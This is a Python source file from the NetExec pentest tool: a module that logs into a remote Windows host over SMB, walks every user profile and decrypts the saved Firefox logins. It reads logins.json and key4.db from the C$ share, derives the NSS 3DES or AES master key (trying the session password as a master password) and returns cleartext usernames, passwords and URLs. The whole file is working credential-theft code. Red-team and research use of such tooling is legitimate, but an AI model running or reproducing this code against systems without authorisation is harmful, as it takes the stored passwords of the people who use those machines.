NetExec/nxc/protocols/smb/firefox.py

#!/usr/bin/env python3
from base64 import b64decode
from binascii import unhexlify
from hashlib import pbkdf2_hmac, sha1
import hmac
import json
import ntpath
import sqlite3
import tempfile
from Cryptodome.Cipher import AES, DES3
from pyasn1.codec.der import decoder
from dploot.lib.smb import DPLootSMBConnection

CKA_ID = unhexlify("f8000000000000000000000000000001")


class FirefoxData:
    def __init__(self, winuser: str, url: str, username: str, password: str):
        self.winuser = winuser
        self.url = url
        self.username = username
        self.password = password


class FirefoxTriage:
    """
    Firefox by @zblurx
    Inspired by firefox looting from DonPAPI
    https://github.com/login-securite/DonPAPI
    """

    firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
    share = "C$"
    false_positive = (
        ".",
        "..",
        "desktop.ini",
        "Public",
        "Default",
        "Default User",
        "All Users",
    )

    def __init__(self, target, logger, conn: DPLootSMBConnection = None):
        self.target = target
        self.logger = logger
        self.conn = conn

    def upgrade_connection(self, connection=None):
        self.conn = DPLootSMBConnection(self.target)
        if connection is not None:
            self.conn.smb_session = connection
        else:
            self.conn.connect()

    def run(self):
        if self.conn is None:
            self.upgrade_connection()

        firefox_data = []
        # list users
        users = self.get_users()
        for user in users:
            try:
                directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
            except Exception as e:
                if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
                    continue
                self.logger.debug(e)
            if directories is None:
                continue
            for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
                try:
                    logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
                    logins_data = self.conn.readFile(self.share, logins_path)
                    if logins_data is None:
                        continue  # No logins.json file found
                    logins = self.get_login_data(logins_data=logins_data)
                    if len(logins) == 0:
                        continue  # No logins profile found
                    key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
                    key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True)
                    if key4_data is None:
                        continue
                    key = self.get_key(key4_data=key4_data)
                    if key is None and self.target.password != "":
                        key = self.get_key(
                            key4_data=key4_data,
                            master_password=self.target.password.encode(),
                        )
                    if key is None:
                        continue
                    for username, pwd, host in logins:
                        decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8")
                        password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8")
                        if password is not None and decoded_username is not None:
                            firefox_data.append(
                                FirefoxData(
                                    winuser=user,
                                    url=host,
                                    username=decoded_username,
                                    password=password,
                                )
                            )
                except Exception as e:
                    if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
                        continue
                    self.logger.exception(e)
        return firefox_data

    def get_login_data(self, logins_data):
        json_logins = json.loads(logins_data)
        if "logins" not in json_logins:
            return []  # No logins key in logins.json file
        return [
            (
                self.decode_login_data(row["encryptedUsername"]),
                self.decode_login_data(row["encryptedPassword"]),
                row["hostname"],
            )
            for row in json_logins["logins"]
        ]

    def get_key(self, key4_data, master_password=b""):
        fh = tempfile.NamedTemporaryFile()
        fh.write(key4_data)
        fh.seek(0)
        db = sqlite3.connect(fh.name)
        cursor = db.cursor()
        cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
        row = next(cursor)

        if row:
            global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
            if global_salt:
                try:
                    cursor.execute("SELECT a11,a102 FROM nssPrivate;")
                    for row in cursor:
                        if row[0]:
                            break
                    a11 = row[0]
                    a102 = row[1]
                    if a102 == CKA_ID:
                        decoded_a11 = decoder.decode(a11)
                        key = self.decrypt_3des(decoded_a11, master_password, global_salt)
                        if key is not None:
                            fh.close()
                            return key[:24]
                except Exception as e:
                    self.logger.debug(e)
                    fh.close()
                    return b""
        fh.close()
        return None

    def is_master_password_correct(self, key_data, master_password=b""):
        try:
            entry_salt = b""
            global_salt = key_data[0]  # Item1
            item2 = key_data[1]
            decoded_item2 = decoder.decode(item2)
            cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)
            if cleartext_data != b"password-check\x02\x02":
                return "", "", ""
            return global_salt, master_password, entry_salt
        except Exception as e:
            self.logger.debug(e)
            return "", "", ""

    def get_users(self):
        users = []

        users_dir_path = "Users\\*"
        directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))

        for d in directories:
            if d.get_longname() not in self.false_positive and d.is_directory() > 0:
                users.append(d.get_longname())  # noqa: PERF401, ignoring for readability
        return users

    @staticmethod
    def decode_login_data(data):
        asn1data = decoder.decode(b64decode(data))
        return (
            asn1data[0][0].asOctets(),
            asn1data[0][1][1].asOctets(),
            asn1data[0][2].asOctets(),
        )

    @staticmethod
    def decrypt(key, iv, ciphertext):
        """Decrypt ciphered data (user / password) using the key previously found"""
        cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
        data = cipher.decrypt(ciphertext)
        nb = data[-1]
        try:
            return data[:-nb]
        except Exception:
            return data

    @staticmethod
    def decrypt_3des(decoded_item, master_password, global_salt):
        """User master key is also encrypted (if provided, the master_password could be used to encrypt it)"""
        # See http://www.drh-consultancy.demon.co.uk/key3.html
        pbeAlgo = str(decoded_item[0][0][0])
        if pbeAlgo == "1.2.840.113549.1.12.5.1.3":  # pbeWithSha1AndTripleDES-CBC
            entry_salt = decoded_item[0][0][1][0].asOctets()
            cipher_t = decoded_item[0][1].asOctets()

            # See http://www.drh-consultancy.demon.co.uk/key3.html
            hp = sha1(global_salt + master_password).digest()
            pes = entry_salt + b"\x00" * (20 - len(entry_salt))
            chp = sha1(hp + entry_salt).digest()
            k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
            tk = hmac.new(chp, pes, sha1).digest()
            k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
            k = k1 + k2
            iv = k[-8:]
            key = k[:24]
            cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
            return cipher.decrypt(cipher_t)
        elif pbeAlgo == "1.2.840.113549.1.5.13":  # pkcs5 pbes2
            assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12"
            assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9"
            assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42"
            # https://tools.ietf.org/html/rfc8018#page-23
            entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
            iteration_count = int(decoded_item[0][0][1][0][1][1])
            key_length = int(decoded_item[0][0][1][0][1][2])
            assert key_length == 32

            k = sha1(global_salt + master_password).digest()
            key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length)

            # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
            iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets()
            # 04 is OCTETSTRING, 0x0e is length == 14
            encrypted_value = decoded_item[0][1].asOctets()
            cipher = AES.new(key, AES.MODE_CBC, iv)
            decrypted = cipher.decrypt(encrypted_value)
            if decrypted is not None:
                return decrypted
            else:
                return None
        return None